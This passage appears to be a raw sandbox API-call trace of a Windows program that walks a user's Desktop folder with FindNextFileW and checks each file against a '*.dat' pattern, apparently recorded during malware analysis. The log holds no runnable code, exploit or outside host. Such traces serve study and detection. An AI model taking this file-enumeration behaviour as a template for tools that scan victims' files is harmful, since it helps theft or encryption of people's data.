lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", lpUsedDefaultChar=0x0) returned 62 [0099.537] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112db0 [0099.537] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c00 | out: hHeap=0x2110000) returned 1 [0099.537] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.537] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130f0 [0099.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130f0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.538] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.538] PathMatchSpecW (pszFile="EpL2Lcy5i7fg_B1.rtf", pszSpec="*.dat") returned 0 [0099.538] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0099.538] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3b5b0, ftCreationTime.dwHighDateTime=0x1d7a95d, ftLastAccessTime.dwLowDateTime=0x43037790, ftLastAccessTime.dwHighDateTime=0x1d7a9e3, ftLastWriteTime.dwLowDateTime=0x43037790, ftLastWriteTime.dwHighDateTime=0x1d7a9e3, nFileSizeHigh=0x0, nFileSizeLow=0x11fb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeEEAupCT2yTi9.rtf", cAlternateFileName="LEEEAU~1.RTF")) returned 1 [0099.538] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.538] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.538] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="LeEEAupCT2yTi9.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf" [0099.538] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.538] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.538] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="LeEEAupCT2yTi9.rtf" | out: lpString1="\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf") returned="\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf" [0099.538] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.538] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x21128e8 [0099.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x21128e8, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", lpUsedDefaultChar=0x0) returned 61 [0099.538] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a08 [0099.538] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128e8 | out: hHeap=0x2110000) returned 1 [0099.538] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.538] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130a8 [0099.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130a8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.538] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0099.538] PathMatchSpecW (pszFile="LeEEAupCT2yTi9.rtf", pszSpec="*.dat") returned 0 [0099.538] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0099.538] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bf40c0, ftCreationTime.dwHighDateTime=0x1d7a6be, ftLastAccessTime.dwLowDateTime=0xba3b5440, ftLastAccessTime.dwHighDateTime=0x1d7af6f, ftLastWriteTime.dwLowDateTime=0xba3b5440, ftLastWriteTime.dwHighDateTime=0x1d7af6f, nFileSizeHigh=0x0, nFileSizeLow=0xd31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QbxigokTDmP9qF7bIHTm.gif", cAlternateFileName="QBXIGO~1.GIF")) returned 1 [0099.538] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.538] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.538] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="QbxigokTDmP9qF7bIHTm.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif" [0099.538] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.538] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.539] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="QbxigokTDmP9qF7bIHTm.gif" | out: lpString1="\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif") returned="\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif" [0099.539] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0099.539] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x43) returned 0x34300d0 [0099.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x34300d0, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", lpUsedDefaultChar=0x0) returned 67 [0099.539] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa6c0 [0099.539] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.539] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.539] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113000 [0099.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113000, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.539] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.539] PathMatchSpecW (pszFile="QbxigokTDmP9qF7bIHTm.gif", pszSpec="*.dat") returned 0 [0099.539] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa6c0 | out: hHeap=0x2110000) returned 1 [0099.539] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bf40c0, ftCreationTime.dwHighDateTime=0x1d7a6be, ftLastAccessTime.dwLowDateTime=0xba3b5440, ftLastAccessTime.dwHighDateTime=0x1d7af6f, ftLastWriteTime.dwLowDateTime=0xba3b5440, ftLastWriteTime.dwHighDateTime=0x1d7af6f, nFileSizeHigh=0x0, nFileSizeLow=0xd31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QbxigokTDmP9qF7bIHTm.gif", cAlternateFileName="QBXIGO~1.GIF")) returned 0 [0099.543] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.544] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.544] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2a) returned 0x34300d0 [0099.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x34300d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpUsedDefaultChar=0x0) returned 42 [0099.544] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.544] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.544] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.544] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113000 [0099.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113000, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.544] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.544] PathMatchSpecW (pszFile="MTVwnxmU4D", pszSpec="*.dat") returned 0 [0099.544] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.544] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911b3a90, ftCreationTime.dwHighDateTime=0x1d7af0f, ftLastAccessTime.dwLowDateTime=0xdcfca2e0, ftLastAccessTime.dwHighDateTime=0x1d7afd8, ftLastWriteTime.dwLowDateTime=0xdcfca2e0, ftLastWriteTime.dwHighDateTime=0x1d7afd8, nFileSizeHigh=0x0, nFileSizeLow=0x17cef, dwReserved0=0x0, dwReserved1=0x0, cFileName="p4At.m4a", cAlternateFileName="")) returned 1 [0099.544] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.544] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.544] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="p4At.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a" [0099.544] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.544] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.544] lstrcatW (in: lpString1="\\", lpString2="p4At.m4a" | out: lpString1="\\p4At.m4a") returned="\\p4At.m4a" [0099.544] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa2a0 [0099.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.544] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211aae0 [0099.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x211aae0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", lpUsedDefaultChar=0x0) returned 40 [0099.545] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.545] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211aae0 | out: hHeap=0x2110000) returned 1 [0099.545] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa2a0 | out: hHeap=0x2110000) returned 1 [0099.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.545] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130f0 [0099.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130f0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.545] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.545] PathMatchSpecW (pszFile="p4At.m4a", pszSpec="*.dat") returned 0 [0099.545] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.545] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e38f700, ftCreationTime.dwHighDateTime=0x1d7a021, ftLastAccessTime.dwLowDateTime=0xa8628f60, ftLastAccessTime.dwHighDateTime=0x1d7a1d0, ftLastWriteTime.dwLowDateTime=0xa8628f60, ftLastWriteTime.dwHighDateTime=0x1d7a1d0, nFileSizeHigh=0x0, nFileSizeLow=0x158ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmDY1nV.m4a", cAlternateFileName="")) returned 1 [0099.545] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.545] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.545] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="pmDY1nV.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a" [0099.545] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.545] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.545] lstrcatW (in: lpString1="\\", lpString2="pmDY1nV.m4a" | out: lpString1="\\pmDY1nV.m4a") returned="\\pmDY1nV.m4a" [0099.545] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.545] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2b) returned 0x34300d0 [0099.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", lpUsedDefaultChar=0x0) returned 43 [0099.545] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.545] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.545] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.545] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113000 [0099.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113000, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.545] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.546] PathMatchSpecW (pszFile="pmDY1nV.m4a", pszSpec="*.dat") returned 0 [0099.546] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.546] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892d3030, ftCreationTime.dwHighDateTime=0x1d7a3e4, ftLastAccessTime.dwLowDateTime=0x84f549f0, ftLastAccessTime.dwHighDateTime=0x1d7ad47, ftLastWriteTime.dwLowDateTime=0x84f549f0, ftLastWriteTime.dwHighDateTime=0x1d7ad47, nFileSizeHigh=0x0, nFileSizeLow=0x61a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RpU8jg9s7.png", cAlternateFileName="RPU8JG~1.PNG")) returned 1 [0099.546] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.546] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.546] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="RpU8jg9s7.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png" [0099.546] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.546] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.546] lstrcatW (in: lpString1="\\", lpString2="RpU8jg9s7.png" | out: lpString1="\\RpU8jg9s7.png") returned="\\RpU8jg9s7.png" [0099.546] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.546] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x34300d0 [0099.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", lpUsedDefaultChar=0x0) returned 45 [0099.546] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.546] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.546] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.546] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130d8 [0099.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.546] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130d8 | out: hHeap=0x2110000) returned 1 [0099.546] PathMatchSpecW (pszFile="RpU8jg9s7.png", pszSpec="*.dat") returned 0 [0099.546] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.546] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21289090, ftCreationTime.dwHighDateTime=0x1d7a675, ftLastAccessTime.dwLowDateTime=0xba7f7970, ftLastAccessTime.dwHighDateTime=0x1d7af80, ftLastWriteTime.dwLowDateTime=0xba7f7970, ftLastWriteTime.dwHighDateTime=0x1d7af80, nFileSizeHigh=0x0, nFileSizeLow=0x35ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="sIIXwnEmeTmghbLvRDe.m4a", cAlternateFileName="SIIXWN~1.M4A")) returned 1 [0099.546] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.546] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.546] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="sIIXwnEmeTmghbLvRDe.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a" [0099.546] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.547] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.547] lstrcatW (in: lpString1="\\", lpString2="sIIXwnEmeTmghbLvRDe.m4a" | out: lpString1="\\sIIXwnEmeTmghbLvRDe.m4a") returned="\\sIIXwnEmeTmghbLvRDe.m4a" [0099.547] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.547] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x33aaba0 [0099.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x33aaba0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 